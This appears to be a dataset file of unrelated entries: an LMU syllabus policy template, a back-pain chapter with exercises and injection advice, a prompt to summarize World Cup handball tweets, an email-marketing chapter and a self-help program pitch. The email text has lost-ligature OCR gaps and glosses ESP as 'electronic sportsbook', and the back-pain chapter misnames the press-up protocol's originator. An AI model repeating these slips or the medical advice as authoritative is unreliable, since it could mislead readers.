grade, how each is weighted and include “floors” for each of the letter grades A (or A range) through D (or D range).\n• Attendance/Participation: If applicable, describe how you will track attendance/participation and how attendance/participation affects grades. Also check departmental/program/college/school policies and norms (Student Health Services, SHS, does not issue medical excuse notes). If attendance/participation is required, discuss how you will accommodate situations such as student illnesses, international time differences in the case of synchronous online content and any other complicated situations. Note: Due to COVID-19, students may need to miss class because of illness, quarantine, isolation or other COVID-related reasons. Please describe your expectations for communication with students around COVID-related absences and how students can learn remotely for one missed class session or via longer arrangement. Please do not ask for medical or other HIPAA protected information.\n• Use of Technology: Explain what will be used/required/optional/allowed and how to access it. For example, if your exam policy or participation policy requires the use of webcam, state it and discuss any exceptions to it. For technology assistance, provide the following information: ITS Service Desk (Phone: 310-338-7777 or 213-736-1097, Email: helpdesk@lmu.edu, Self-service: https://lmu.service-now.com/servicedesk). Note: Please be mindful to put in your syllabus the full number of the ITS Service Desk as students may be dialing from off campus phones.\n• Extra Credit: If offered, it must be fairly offered to all students and announced in a timely manner. Be specific how it is factored into the grading.\n \nIV) UNIVERSITY POLICY STATEMENTS (REQUIRED)\nA. Academic Honesty a. General statement\nLoyola Marymount University is a community dedicated to academic excellence, student- centered education and the Jesuit and Marymount traditions. As such, the University expects all members of its community to act with honesty and integrity at all times, especially in their academic work. Academic honesty respects the intellectual and creative work of others, flows from dedication and pride in performing one’s own best work, and is essential if true learning is to take place. As an LMU Lion, by the Lion’s Code, you are pledged to join the discourse of the academy with honesty of voice and integrity of scholarship.\nAcademic dishonesty will be treated as an extremely serious matter, with serious consequences that can range from receiving no credit for assignments/tests to expulsion.\n• It is never permissible to turn in any work that has been copied from another student or copied from a source (including Internet) without properly acknowledging/citing the source.\n• It is never permissible to work on an assignment, exam, quiz or any project with another person unless your instructor has indicated so in the written instructions/guidelines.\n• It is your responsibility to make sure that your work meets the standard of academic honesty set forth in the “LMU Honor Code and Process.” The LMU Academic Honor Code and Process can be found at: https://academics.lmu.edu/honesty/\nb. LMU Academic Honesty Policy (https://academics.lmu.edu/honesty): Unauthorized\n • • •\nc.\nAccess to or Alteration of Privileged and Proprietary Information:\nUnauthorized access to and/or use of privileged University documents, files, or information and/or alteration thereof by electronic or any other means.\nUnauthorized access to and/or use of proprietary information. For example, the unauthorized dissemination of research prior to publication.\nUnauthorized access to and/or use of University course resources and materials. For example, distributing any course materials (syllabus, assignments, exams, etc.) without explicit permission from the instructor. Therefore, dissemination or sharing of any classroom recording (e.g., Zoom or other videos posted by the instructor) without the permission of the instructor would be considered “unauthorized use” and, therefore, prohibited\nSee also Academic Honesty Considerations in an Online Learning Environment (next section)\nB. AmericanswithDisabilitiesAct–SpecialAccommodations\nStudents with special needs who require reasonable modifications, special assistance, or accommodations in this course should promptly direct their request to the Disability Support Services (DSS) Office. Any student who currently has a documented disability (ADHD, Autism Spectrum Disorder, Learning, Physical, or Psychiatric) needing\n\nacademic accommodations should contact the DSS Office (Daum Hall 2nd floor, 310- 338-4216) as early in the semester as possible. All discussions will remain confidential. Please visit http://www.lmu.edu/dss for additionalinformation. Please ask for help as early in the semester as possible!\nStudents should also keep in mind that resources are available through the Library (https://library.lmu.edu) and Information Technology Services (https://its.lmu.edu). The DSS Office can help students connect with the appropriate person at the Library and ITS.\nC. Tentative Nature of the Syllabus\nIf necessary, this syllabus and its contents are subject to revision. Students are responsible for any changes or modifications announced or distributed in class, emailed to students’ LMU Lion accounts or posted on LMU's course management system, Brightspace. If you are absent from an in-person or online class meeting, it is the student’s responsibility to check Brightspace and with the professor to see if you missed any important class announcements. Students should not rely on word-of-mouth from classmates.\nV) OTHER POLICY STATEMENTS (RECOMMENDED)\n• Expectations for Classroom Behavior (https://academics.lmu.edu/media/lmuacademics/centerforteachingexcellence/documents/ LMU%20Student%20Classroom%20and%20Course-Related%20Behavior.pdf). See also Expectations for Classroom Behavior in an Online Learning Environment (in Part 2).\n• Electronic devices in the virtual classroom\nPlease turn off and put out of sight all electronic devices (other than those and when allowed) during class-time. The interruptions and/or distractions they cause disrupt class and interfere with the learning process. Even if you are not on video, it’s distracting to you.\n• EIBC - Effective Infectious Behavior Control (https://studentaffairs.lmu.edu/media/studentaffairs/osccr/documents/2021-COVID-19- Excellent-Infectious-Behavior-Control-Guidelines-and-Policy.pdf).\n• Student responsibility for checking identified communication channels\na. Use your lion.lmu.edu email address. Check it often or forward it to your other email\naddress.\nb. To support this course on Brightspace you will need access to the Internet and a\nsupported Web browser (Internet Explorer, Chrome, Firefox, etc.). To ensure that you are using the recommended personal computer configurations, please refer to the Brightspace tutorial link.\nc. Technical assistance: If you need technical assistance at any time during the course or to report a problem with Brightspace you can seek assistance from the HELP Desk. helpdesk@lmu.edu.\n• Reporting Requirements of Sexual or Interpersonal Misconduct\nAs “responsible employees,” faculty are required to report any case of suspected sexual or interpersonal misconduct and cannot protect student confidentiality. For information about confidential counseling on campus and for general information about consensual relationships, sexual harassment, and sexual assault, please see the LMU Cares website:\n \nhttp://studentaffairs.lmu.edu/lmucares/.\n• Student Self-Care\nPlease prioritize your self-care. LMU has many health and wellness resources available to support you at every step of your journey. Learn more at lmu.edu/lionwellness.\n• Emergency Preparedness Information\nPublic Safety can be reached 24/7 365 at 310.338.2893 (or x222 from a campus phone). In a life-\nthreatening emergency, call 9-1-1 first and then call Public Safety if possible. To report an incident, call Public Safety, submit an e-report on the Public Safety website or via the Rave Guardian mobile app, or visit Public Safety in Foley Annex. Review evacuation information and other safety tips posted in each learning space. Make sure you’re registered to receive emergency alerts – confirm your contact info at lmu.edu/alert, and download Rave Guardian in the Apple or Google Play store. For more information and emergency preparedness tips,\nvisit https://publicsafety.lmu.edu." -'CHAPTER EIGHTEEN\n Special Conditions\n From Jeremy\nI find this material fascinating but you don’t have to read it unless you have one of the headlined conditions. This is an effort to give some help to people with serious conditions who are likely to need medical help, or at least some level of medical supervision as well as “book help.” \nThere are some more extreme or special conditions causing back pain for which you are going to want to receive individual guidance from a physician but for which you may also get substantial help from the book. Here and elsewhere, you may ask: If I have to go to a therapist for this anyway, why not leave it all to him or her? The answer is twofold. First, the concepts and exercises in the book will give you a great foundation on which to build the more specific treatments suggested by your caregiver. But, second, in my experience, too many therapists treating these conditions jump right into the specific exercises and stretches for these conditions without building an adequate foundation of spine health and strength. That’s what this book does. \nSo . . . get started with this book and then seek out specific treatment. But be alert: Some of these exercises can exacerbate pain for some sufferers. If that happens to you, stop. Sorry that this is so complicated. You are almost always going to get substantial help from the general advice you have already read but—for these special conditions—you will also benefit from the specific advice in this chapter. See your doctor and strike your own balance between medical help and the advice we offer here. It is a two-sided approach and—often with these special conditions—both can help. Typically, the medical help alone—great relief though it may be—is not going to provide a complete, permanent solution. \nDisc Herniations\nThis means a burst disc and it is very serious business, as you already know. You should start by seeing a medical doctor. If a doctor has told you that you should try conservative (that is, nonintrusive) care for a herniated disc but you are in too much pain to start this book, you may benefit from a steroid injection to calm the pain down. I am slow to recommend that step, but this may be one of the situations where it makes sense. Sometimes an injection can bring the pain and inflammation down to a tolerable level so that rehab exercises can be undertaken. You should be warned that steroid injections can slow the healing process of a herniated disc. Talk with your doctor about the risks and benefits of a steroid injection.\nIf you are having pain down your leg from a herniated disc, something called nerve flossing can sometimes help. It may sound like a joke, but it is not. Nerve flossing is a technique that attempts to traction or “scrub” the nerve roots as they exit the spinal cord near the herniated disc to remove material that sometimes builds up on them. If there is “stuff” stuck to the nerve roots or nerves (it is likely to be either pieces of disc material or scar tissue), that “stuff” can cause or exacerbate pain, and removing it can help a lot. Nerve flossing can sometimes do precisely that and provide significant relief. Caution: This technique can sometimes cause an increase in pain initially, before it reduces it. Sometimes it doesn’t work. But it works enough to be worth the shot. There are countless YouTube videos out there on this subject. My favorite approach is Dr. Stuart McGill’s. He has various videos and describes his approach in detail in his books. \nHypermobile Sacroiliac (SI) Joint Pain\nThis pain can be one of the most difficult and stubborn conditions to treat, in my experience. The sacroiliac, or “SI,” joint is the joint in your pelvis where the sides of your pelvis connect with your sacrum. \nThe SI joint is not supposed to move very much in a healthy individual. It is crossed by large ligaments and muscles that keep it taut. SI joints that move too much can cause recurring episodes of severe pain. This commonly starts with a sprain of these ligaments from a hard fall to the buttocks or from giving birth. Once the ligaments are deformed, the SI joint can become unstable. Learning to engage the core and gluteal muscles at the appropriate times can help people with chronic SI pain. \nA medical intervention is sometimes needed. One approach is prolotherapy, an injection therapy whose goal is to tighten up loose ligaments and stabilize joints. An irritant is injected around the SI joint to cause scarring and stiffening of the ligaments that cross the joint, resulting in a more stable joint. In my experience, this works slightly more than 50 percent of the time. Try this book first and see how much relief you get. You will likely get significant relief. If not, consult several prolotherapy practitioners before deciding to try it. \nBefore considering prolotherapy, try these exercises in addition to the ones you’ve already learned.\nIsometric Adduction \nThe goal here is to strengthen the muscles on the insides of your legs without moving the unstable SI joint. You will need a medicine ball, thick pillow, or something similar for this exercise.\n\nStep 1: Lie on your back with your knees bent. Put the medicine ball between your knees. \nStep 2: Find your neutral spine and brace your core.\nStep 3: Squeeze the ball between the knees with 50 percent strength, being careful not to lose your core brace. Hold for ten seconds.\nStep 4: Repeat ten reps. Do two to three sets. \nIsometric Abduction\nAs with the previous exercise, the goal is to avoid moving the unstable SI joint. The difference here is that you are working on the muscles on the outside of your hips. You will need tubing or an elastic band for this exercise.\nStep 1: Lie on your back with your knees bent. \nStep 2: Find neutral spine and brace your core.\n\nStep 3: Wrap the band or tube around your thighs and below the knees.\n\nStep 4: Engage your glutes and move your knees outward about 45 degrees.\nStep 5: Hold ten seconds.\nStep 6: Do ten reps, two to three sets.\n“Bicycles” on Your Side\nThis exercise is very challenging to do properly. One of the goals is to keep your leg in the same “horizontal plane” throughout. By this I mean not to let your leg wander up or down if you were viewing it from the side. Rather, keep it steady with the knee and foot in the same position relative to each other throughout the movement.\nStep 1: Lie on your side with your top arm on the floor in front of you for support.\nStep 2: Brace your core.\n\nStep 3: With the movement of bicycle pedaling in mind, raise your top knee up toward your torso and then push the foot out in front of you. Then bring it back behind you to make a big circle at the hip, as if you were pedaling a bicycle on your side. As you bring the leg behind you, focus on engaging the glutes and opening up the front of the hip.\n\nStep 4: Go only as far as you can without moving your back. \nStep 5: Do ten reps. \nStep 6: Then, go the opposite direction. \nStep 7: Push your heel back behind you, engaging the glutes and stretching out your hip flexors as your foot goes behind you. \nStep 8: While moving the leg, do not let it wander up or down. In other words, stay in the same horizontal plane the entire time. \nBulging Disc\nMost bulging discs will heal on their own if pressures are taken off and the bulging disc is given the chance to recover. The most important thing with a bulging disc is to stop irritating it. You will need to limit activities that put the most pressure on the disc. This means doing much less of any activity that involves a seated position (driving, flying, etc.) as well as picking things up with a rounded back and twisting with the low back (golf, tennis, etc.). There are ways to continue to play these sports without twisting or bending the low back. Remember the concept of creep when you are required to sit. Break it up into twenty- to thirty-minute increments if you are required to sit all day. Avoiding creep is even more urgent when you have a bulging disc.\nFor some people, “press-ups” can help with bulging disc pain. These were initially recommended by Dr. Joseph McKenzie in his McKenzie protocol. His idea was that this exercise helps to shift the disc back into its natural position. \nPress-Ups\nI have seen some people, but certainly not all people, benefit from this. But it is worth a try.\nStep 1: Lie facedown on the floor with your elbows bent and your arms flat on the floor on either side of you, palms down.\nStep 2: Lightly brace your core. \n\nStep 3: Here’s the hard part: You are going to attempt to press your upper body up off the floor without using the muscles in your low back. Your arms should be doing all of the work and your low back should be relaxed. If you have a bulging disc and you start to lift your torso up with your back muscles, there’s a good chance they will go into spasm and make things quite a bit worse. \n\nStep 4: Very slowly and very carefully, start to push your upper body up off the floor. If your low back muscles kick in, stop and slowly \nlower yourself back to the floor to start again.\nStep 5: Continue up slowly. Go only as high as you can without your back muscles kicking in and without pain. Hold for ten seconds.\nStep 6: Slowly lower yourself back to the starting position using only your arms. Repeat five to ten reps. These can be done daily. \nStenosis\nSevere stenosis can be a serious problem and you may need medical help. But it is also true that often the things we have taught you so far will help quite a lot. Indeed, they may be an answer, so it is worth a try. We do not hold out the promise of an 80 percent success rate with severe stenosis, but the chances of success are substantial and well worth a try. Cases of mild to moderate stenosis typically respond very well to the approaches presented in this book.\nThe process will seem familiar now. Primarily, it is just a matter of finding (and maintaining) your neutral spine so that the irritation can die down. Once you feel comfortable with neutral spine, start to try walking again. For most people with stenosis, walking for moderate distances can be a problem. Make sure to keep your neutral spine and swing your arms from the shoulders as we talked about earlier. In addition, stop and take breaks and sit down before the pain starts. Eventually try to increase the distance you can go between sitting breaks. With increased fitness and endurance in the core muscles, these times between sitting will get longer and longer. Again, I caution that if you have very severe stenosis, you may be one of the relatively few who need surgery. This is especially true if you have leg symptoms and/or weakness. That said, I have seen countless patients whose MRIs showed moderate to severe stenosis (lateral or central) who were able to get back to a low level of pain and high level of function without surgery. So it is worth a shot. \nFor many with lateral or central stenosis, bicycling can be a great way to get exercise and relieve the back, because of the forward-bent posture when on a bike. Another solution is to do the following stretch to relieve the discomfort caused by stenosis' -'Describe as reporting live a current event in max 3 lines, what is happening right now using the following tweets, with a focus on the term "handball"\n\nsourceText Time\nHandball! Penalty kick for France!! #WorldCupFinal 17:36:26.0000000\nPenalty France handball! 17:35:51.0000000\nHandball and penalty for France 17:36:02.0000000\nHANDBALL!!! PENALTY!!!\'\'#ARGFRA #FIFAWorldCup 17:36:04.0000000\nPenalty to France. Handball 17:35:44.0000000\nHANDBALL!! PENALTY!!! #WorldCup #ArgentinaVsFrance 17:36:40.0000000\nHandball from Montiel. Penalty to France #ARGFRA 17:36:13.0000000\nHANDBALL THATS A PENALTY KICK FOR FRANCE 17:36:12.0000000\nHANDBALL!!!!! FRANCE GETS A PENALTY!!!! 17:36:15.0000000\n@FIFAWorldCup @TeamMessi now Argentina plays handball! Penalty!!!!!!!!!!!!!!!!!! 17:36:41.0000000\nHandball!!!! Penalty to France....\'\'Mbappe\'s hattrick? https://t.co/b711P9kC8Y 17:36:49.0000000\nPenalty to France for handball. 17:36:42.0000000\nPENALTY to France!! Handball in the area on an Mbappe shot and Mbappe will go or his hat-trick from the spot!! 17:36:02.0000000\nHandball called on Argentina in the penalty box!!! 17:36:03.0000000\nHandball Penalty! ????? #ARGFRA 17:36:06.0000000\nOmg it’s handball, penalty to France ???? 17:36:23.0000000\nHandball and it’s another penalty for France #ARGFRA 17:36:26.0000000\nPenalty to #FRA for handball by Montiel\'\'#ARGFRA #Qatar2022 #WorldCup 17:36:24.0000000\nOH MY GOD! A FRANCE PENALTY! HANDBALL!!! 17:36:33.0000000\nPENALTY TO FRANCE! HANDBALL ON MONTIEL! \'\'https://t.co/c3VIDlmnjp 17:36:12.0000000\nPENALTY FOR FRANCE! HANDBALL!\'\'#ArgentinaVsFrance #FIFAWorldCupFinal 17:36:09.0000000\nWtf handball. Penalty for France. Omg. 17:36:20.0000000\nOh no Issa handball Gonzalo, penalty for ???? #WorldCupFinal 17:36:36.0000000\nOmg !! Handball penalty France 17:36:37.0000000\nHANDBALL IN THE ARGENTINE BOX OG MY GOD IT\'S A PENALTY FOR FRANCE 17:36:52.0000000\nHandball penalty\'#ARGFRA 17:36:37.0000000\nNow a handball penalty. #WorldCupFinal https://t.co/o0Vy0qZxv0 17:36:32.0000000\nHANDBALL PENALTY FOR FRANCE 17:36:10.0000000\nHANDBALL AND ITS A PENALTY KICK FOR FRANCE AND MBAPPE! 17:36:47.0000000\nPenalty to France! Handball! This is absolute madness 17:36:25.0000000\nHANDBALL PENALTY FOR FRANCE!! #ARGFRA 17:36:12.0000000\nGONZALO MONTIEL HANDBALL\'\'PENALTY TO FRANCE 17:36:14.0000000\nPENALTY! Handball in the box and France can level it here. #ARG #FRA 17:36:07.0000000\nHOW IS THIS MATCH STILL GOING ON?!\'\'Handball. Penalty to France. We\'re about to witness a Mbappé hattrick. #FIFAWorldCup 17:36:47.0000000\nMontiel with the handball, PENALTY for France 17:36:51.0000000\nHandball.. Penalty for france.. 17:36:38.0000000\n@CTPhDinSports @highlghtheaven Argentina got a handball and France gets a penalty shot 17:36:46.0000000\nWHHHHAAAATTTTT?!?! A handball!!! And a penalty for France!!! The arm is up there 17:36:05.0000000\nPenalty given for handball to France!! ?? 17:36:48.0000000\nHandball, penalty for France!???? 17:36:26.0000000\nIt\'s a France penalty!! Handball given!!\'\'#ARG 3-2 #FRA \'\'#FIFAWorldCup | #Qatar2022\'\'https://t.co/UmozTF4u8i 17:36:04.0000000\nA penalty!!! for France! in the last minutes from a handball for Montiel #FIFAWorldCup 17:36:38.0000000\nHandball!!! Penalty to France! ??\'\'#ARGvsFRA\'#FIFAWorldCup2022 17:36:52.0000000\nHandball \'\'It\'s a penalty n France should be back to this game ooo ?????? 17:36:30.0000000\nHandball in the box. Penalty to France. It hit Montiel\'s elbow. Ref was right on it. #ARGFRA #FIFAWorldCup 17:36:31.0000000\nHANDBALL, PENALTY FRANCE OMDDDSSS WTF IS THIS GAME. 17:36:31.0000000\nFrance has a penalty with five minutes remaining! A handball sends them to the spot, and Mbappe will take it! 17:36:39.0000000\nanother penalty for France handball 17:36:34.0000000\nHANDBALL\'PENALTY FOE FRANCE\'ANOTHER TWISTT 17:36:56.0000000\nPenalty to France. Montiel handball - a tough one. 17:36:25.0000000\nHANDBALL ARGENTINA!! PENALTY KICK FRANCE!!! #ARGvsFRA #ArgentinaVsFrance #ARG #FRA #FIFAWorldCup #Qatar2022 17:36:17.0000000\nHANDBALL PENALTY FRANCE 17:36:29.0000000\nPENALTY TO FRANCE \'\'HANDBALL https://t.co/MWaO4tN2yQ 17:36:08.0000000\n#ArgentinaVsFrance\'#FIFAWorldCup \'Handball! France awarded penalty 17:36:35.0000000\nHandball! Penalty to France and a yellow card to Montiel! This game keeps changing! #ARGFRA \'#FIFAWorldCup | #Qatar2022 17:36:33.0000000\nHandball. Penalty for France 17:36:07.0000000\nPenalty To France for handball 17:36:52.0000000\nPENALTY!! HANDBALL FRANCE LETS GO 17:36:02.0000000\nHandball another penalty for France 17:36:02.0000000\nHANDBALL AND PENALTY FOR FRANCE 17:35:52.0000000\nPenalty for France yet again. Clear handball. This wc final refuses to end jeeez. Club football we need you ???? 17:36:42.0000000\nA PENALTY FOR FRANCE!!! HANDBALL ON MONTIEL!! #FIFAWorldCup 17:36:00.0000000\nHANDBALL ARGENTINA\'\'FRANCE HAS A PENALTY 17:35:50.0000000\nHandball! Penalty to France! 17:36:52.0000000\nHANDBALL!!! PENALTY KICK FOR FRANCE AGAIN!!! #FIFAWorldCup #ARGFRA 17:36:28.0000000\nOH NOO OH NOO HANDBALL AND PENALTY FOR FRANCE NOOOOOOO ????????\'\'SHITT LAAA MY COMMENT ONE HOUR AGO\'\'NOOOOO #FIFAWorldCup 17:36:44.0000000\nAnother penalty to France for handball! Scenes! 17:36:22.0000000\nClear penalty for France, handball, no argument. We\'ll see how Kolo Muani takes it. 17:36:28.0000000\n#WorldCupFinal \'#ArgentinaVsFrance \'\'115 \'\'penalty for France on a handball.\'\'mbappe likely to shoot again. 17:36:38.0000000' -'CHAPTER SEVEN\nEMAIL MARKETING\n\nWhat is Email Marketing?\nEmail marketing is a form of direct marketing that gives companies the opportunity to\ncommunicate with customers on their contact list regarding new products, sales, and\nother updates. Because of its high ROI, it is an essential component of the overall inbound\nstrategy for the majority of businesses.\nConsent, segmentation, and personalization are the three main focuses of modern email\nmarketing, which has shifted away from sending out generic mass mailings and toward a\nmore targeted approach. Although it might sound like a time-consuming process,\nmarketing automation actually takes care of the majority of the hard work for you. Not\nonly does a well-designed strategy for email marketing help drive sales in the long run,\nbut it also assists in the development of a community that is centered on your brand.\n\nTypes of marketing emails\nEmail marketing can take the form of promotional messages, informational emails, or\nemails that serve a speci c function in the buyer\'s journey.\n\nPromotional emails\nEmail marketing campaigns can be used to promote limited-time sales and discounts,\nnewly released products, gated content such as ebooks and webinars, and your brand in\ngeneral. A campaign might include sending anywhere from three to ten emails over the\ncourse of several days or weeks.\nEmails used for marketing purposes always include a distinct "call-to-action," or CTA for\nshort. The call to action (also known as the CTA) is the speci c action that you want the\nreader to take, such as viewing a particular page on your website or making use of a\ncoupon to make a purchase.\nThe frequency with which you send out emails of this kind is typically determined by the\nsales and marketing cadence of your company. It\'s possible that you\'ll send multiple\npromotional emails within the same twenty-four-hour period during crucial times of the\nyear like Black Friday. There might be a gap of a few weeks between each of your\npromotional campaigns depending on when in the marketing calendar slower periods\noccur.\n\nInformational emails\n\nNewsletters: As the word "newsletter" suggests, the purpose of a newsletter is to\ndisseminate information concerning your company. Consider having reached new\nmilestones, introducing new product capabilities, or highlighting valuable content such as\ncase studies. Newsletters, especially those that are sent at regular intervals (weekly, bi-\nweekly, or monthly), help maintain consistent touch points with the email subscribers you\nhave.\nHowever, were you aware that newsletters don\'t necessarily need to be about news?\nListen to what email guru Ann Handley has to say and concentrate on the letter aspect.\nImagine that you are writing a letter to each of your subscribers individually about a topic\nthat pertains to something that interests them.\nTo put it more simply, a newsletter is an opportunity to share insights, thoughts, and tips\nwith your audience. This could be anything that they nd valuable.\nEmail is the ideal medium for disseminating information to customers regarding company\nannouncements, new product releases, modi cations to the service, and other similar\ntopics.\nEmail is the primary mode of communication for vital messages the vast majority of the\ntime. Keeping in touch with your contacts through email is the most e ective method of\ncommunication in the event that there is a problem with your website, a holdup in the\nshipping process, or an interruption in your system or software. It is safe, it can be done\ninstantly, and it can have the same level of formality as the most important announcements.\n\nRe-engagement emails\nThe re-engagement email is an additional type of marketing email that is very important.\nRe-engagement emails, which are exactly what they sound like, are used to re-establish\ncommunication with clients or subscribers who have become inactive in recent times.\n\nWHY EMAIL MARKETING IS IMPORTANT\n\nEmail is not a recently developed technology. In point of fact, it was one of the very rst\ndigital communication methods to be developed and introduced in the year 1971.\nHowever, despite having been around for half a century, email marketing is more popular\nthan it has ever been.\nIt\'s possible that you\'re wondering to yourself, "Do people really still use email?" Isn\'t it true\nthat social media marketing is where it\'s at these days?" Even though it\'s true that social\nmedia is an essential channel for any digital marketing strategy, email has a number of\nbene ts that set it apart from the competition.\nTo begin, marketing campaigns conducted via email allow for a greater degree of\npersonalization than those conducted via social media. Next, the costs of email marketing\nare signi cantly lower than those of other channels, which is especially advantageous\nwhen one considers the scope of the audience and the percentage of leads that are\nconverted. This is one of the many reasons why email marketing is such a good t for\nsmaller companies.\nIn conclusion, what makes email marketing so e ective and lucrative is the fact that it\nprovides you with direct and individual access to the inboxes of your target audience.\n\nHow to Do Email Marketing\n\nWhen it comes to sending promotional emails, companies make use of a category of\nsoftware known as email service providers, or ESP.\nA software that facilitates the sending of and management of email marketing campaigns\nis known as an email service provider.\nIt is also referred to as an email marketing service, an email marketing tool, and email\nmarketing software. Other names for it include an email marketing platform.\nYou may be thinking at this point, "Why can\'t I just use my regular email service provider\nto send out marketing emails?" Do I truly require the additional expense of purchasing a\nproduct on top of that?\nIt is feasible from a technical standpoint. However, exercise caution. There is a high\nprobability that you will experience di culties with your restricted email bandwidth,\ndesign, and most importantly, email deliverability. This is why:\nInternet Service Providers (ISPs) such as Gmail, Outlook, Yahoo, and the like were created\nfor individual use and are not suitable for sending out mass emails. They do not, despite\nthe fact that they are free to use, come with a free bulk email sender. Therefore, when a\nmass email is sent from an Internet service provider (ISP), it is very easy for spam lters to\nidentify it as spam, and your account could be disabled for suspicious activity.\nOn the other hand, email service providers (ESPs) have the infrastructure necessary to\nensure good email deliverability rates. This refers to the ability to successfully deliver\nemails to the inboxes of your subscribers. Investing in a dedicated email marketing service\nis the best way to ensure that your email marketing e orts are successful from the very\nbeginning.\nHow to choose an email service provider\nBecause there are hundreds of ESPs available, it can be challenging to determine which\none is best for your company.\nSendinblue, Mailchimp, Constant Contact, Convertkit, Mailjet, Mailerlite, and HubSpot are\namong the most widely used options. Mailjet, Mailerlite, and HubSpot are also among the\nmost widely used.\nHere are some questions to help narrow down your options:\nWhat’s your budget? If it’s very limited, then cheap email marketing services should be your starting point.\nWhat kind of emails do you plan to send, and how often? This’ll give you an idea of your required email volume (i.e. number of email sends).\nIf you’ve already got a list of opt-in contacts, how many are there?\nWhat’s your skill level when it comes to designing emails? If you’re a complete beginner, you’ll want a drag-and-drop email editor. Email templates will also come in handy. On the other hand, if you prefer to code emails from scratch, you’ll be on the lookout for an HTML editor.\nDo you plan to set up automated email work ows? See what the ESP o ers in terms of email marketing automation. Some solutions only o er basic autoresponders.\nIf your business communicates with di erent buyer personas, what contact list segmentation capabilities are o ered?\nWill your business be sending transactional emails? (Note that these are not considered email marketing.) Some folks like to manage these emails with a separate service, while others prefer all emails under the same roof.\nYou should also give some thought to the requirements of the future. Have you settled on\na preferred ESP? Run some simulations with the following question: "How much will this\nESP cost if my list grows to x?" Does this electronic sportsbook (ESP) have the feature set\nto support me if I want to add x to my strategy? What kinds of integrations and applications am I going to be able to add on?"\nIt\'s healthy to have a positive outlook on the future, but try not to get too carried away\nwith it. Obviously, you need to maintain your attention on what really matters for the time being.\nHow to get email lists for marketing\nYou won\'t be able to send email campaigns if there is no one to send them to, so it\'s time\nto start building a list of active subscribers who have opted in to receiving your messages.\nThat\'s right, you have the option to opt in. Because here\'s the thing about email contacts:\nEvery person on your email list needs to have given their express permission to be there\nin order to be included there.\nWhat exactly does that entail?\nWhen someone enters their email address into an email signup form on your blog,\nwebsite, landing pages, social media, or anywhere else, it indicates that they have\nconsented to receive emails from you in the future. "Opt-in" is the term used to refer to this\ntype of consent when discussing email. (What you mean by "opting out" is the same thing\nas "unsubscribing.")\nWhen it comes to complying with data protection laws and protecting the reputation of\nyour brand, permission-based marketing is an absolute necessity. After all, nobody likes a spammer\nBecause this is a fairly non-negotiable aspect of email marketing, the vast majority of\nESPs enable you to create signup forms so that your subscriber list can grow in a natural way.\nThe following is a list of tried-and-true methods for organically expanding your email list:\nAdd signup forms to your website and other places\nPut your email newsletter signup form in places where it will be seen by a lot of people\nand people will de nitely see it.\nBlog posts, the homepage, and the contact page are three common places where\nsubscribers can nd subscription forms. The addition of a pop-up form to your website is\nanother good idea to consider pursuing. Just make sure that the user experience is not\nsigni cantly altered by your changes. The use of pop-up windows that prevent visitors\nfrom accessing your website is a major turno . (Think of your signup form placement like\nyour call-to-action placement.)\nShare forms on social media by including a link in your bio or posts.\nMaintain or operate an e-commerce or online store? Include an option to sign up for the\nnewsletter as part of the process of checking out.\n\nUse lead magnets\n\nPremium content is the single most important factor in the growth of a list.\nThe distribution of password-protected content such as ebooks, reports, checklists, or\ninfographics can be an e ective means of expanding your contact list. In exchange for\nsigning up for your newsletter, visitors receive helpful content from your website. It\'s a win\nfor both sides! Check out these tips and tricks for content marketing to get additional\nideas and motivation!\nProviding people with unique opportunities to save money and sign up for your mailing\nlist is another excellent strategy. If you sign up for the newsletter of the clothing brand\nMango, for instance, you can receive a discount of ten percent on your very rst purchase.\n\nHow to design a marketing email\nCreating a design for an email does not have to be challenging or overly technical. You\ncan easily create stunning and professional marketing campaigns by using an editor that\nworks using a drag-and-drop interface.\nIt is not necessary to become preoccupied with the process of composing fancy and\nintricate emails. Creating an email that accurately represents your company\'s brand, in\nwhatever form that may take, should be your primary focus when composing electronic\ncorrespondence. In most cases, this entails maintaining a straightforward approach. You\nwill undoubtedly be able to improve upon this in the not-too-distant future.\n\nSave time with pre-made email templates\nEmail marketing templates are the ideal short cut to outstanding email design, and they\nare suitable for use by both novices and seasoned professionals.\nJust pick one you like. Adjust the colors and font to correspond with the aesthetic of your\nbrand. After that, you can recycle it for use in future email newsletters. Keeping the\ncontent current is all that will be required of you. Simple and uncomplicated!\n\nHow to write your email copy\n\nYour email copy needs to provide value, highlight topics that are interesting to your\naudience, and embody the tone of voice that your brand uses.\nTo write email copy that is persuasive and engaging, keep the following tips in mind:\nAsk yourself, “What does my audience need from me? How can I help?” Imagine you’re writing to one person.\nShow your brand personality. Tell a story.\nWrite to instill curiosity, starting with the email subject line — more on that below. Use a conversational tone and write the way you speak.\nBreak up the copy with short paragraphs and use bullet points where possible.\nUse the name of a real person for the email signature instead of a faceless brand logo.\n\nWhen is the best time to send a marketing email?\n\nBe strategic when selecting the day and time to send your emails, rather than picking\nthem at random. Consider what you already know about the people who will be viewing\nyour presentation, and decide on a time that will be most bene cial for them.\nAccording to the ndings of some studies, email marketing campaigns have a greater\nchance of being successful when they are distributed on Tuesdays or Thursdays at\napproximately ten o\'clock in the morning or in the afternoon at approximately three o\'clock in the afternoon.\nHowever, what is successful for the majority of people may not be successful for you. It is\nessential to conduct experiments at a variety of times in order to determine the optimal\ntime for your audience.' -'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to 